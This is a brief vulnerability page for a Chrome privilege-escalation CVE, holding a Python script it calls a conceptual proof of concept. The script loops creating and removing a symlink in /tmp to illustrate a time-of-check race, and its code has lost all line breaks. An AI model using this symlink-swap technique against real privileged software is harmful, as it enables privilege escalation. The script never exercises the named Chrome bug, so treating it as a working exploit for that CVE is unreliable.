CVE-2026-7948 Google Chrome权限提升漏洞

import os import time # Conceptual PoC for Race Condition in Chromoting # This script simulates a TOCTOU attack often used in privilege escalation # It attempts to swap a legitimate file with a malicious symlink before the check is complete. MALICIOUS_FILE = "/tmp/malicious_payload.dll" TARGET_FILE = "/tmp/legitimate_config.dat" def exploit_race_condition(): print("[*] Starting race condition exploit simulation...") # Attacker prepares the malicious file with open(MALICIOUS_FILE, 'w') as f: f.write("Malicious Code Execution") try: while True: # Step 1: Attacker creates a symlink to a privileged location # simulating the race window during Chromoting file check os.symlink(MALICIOUS_FILE, TARGET_FILE) print("[+] Symlink created, attempting to trigger vulnerability...") # Simulate the small time window where the application checks the file time.sleep(0.001) # In a real scenario, the application would load TARGET_FILE here # Due to the race, it loads the MALICIOUS_FILE with higher privileges # Cleanup for simulation loop os.remove(TARGET_FILE) except KeyboardInterrupt: print("[!] Exploit simulation stopped.") if __name__ == "__main__": exploit_race_condition()